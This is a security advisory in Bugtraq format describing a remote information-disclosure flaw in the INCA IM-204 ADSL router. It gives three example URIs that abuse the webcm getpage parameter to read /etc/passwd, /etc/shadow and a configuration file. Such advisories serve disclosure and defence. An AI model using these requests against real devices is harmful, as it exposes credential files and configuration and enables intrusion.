INCA IM-204 Information Disclosure Vulnerability

Bugtraq ID:	20696
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 23 2006 12:00AM
Updated:	Oct 24 2006 11:33PM
Credit:	Discovery is credited to Crackers_Child.
Vulnerable:	INCA IM-204 ADSL Router 0
Not Vulnerable:

INCA IM-204 Information Disclosure Vulnerability

INCA IM-204 devices are prone to a remote information-disclosure vulnerability because the devices fail to properly sanitize user-supplied input.

Exploiting this issue allows remote, unauthenticated attackers to gain access to potentially sensitive configuration information from affected devices. This may aid them in further attacks.

This BID may be related to BID 20689; the issues are very similar in nature.

INCA IM-204 Information Disclosure Vulnerability

Attackers may use a web browser to exploit this issue.

The following example URIs demonstrate this issue:

http://www.example.com/cgi-bin/webcm?getpage=/./././././././etc/passwd
http://www.example.com/cgi-bin/webcm?getpage=/./././././././etc/shadow
http://www.example.com/cgi-bin/webcm?getpage=/./././././././etc/config.xml

INCA IM-204 Information Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

INCA IM-204 Information Disclosure Vulnerability

References:

• INCA IM-204 Dsl several vulnerabilities ([email protected])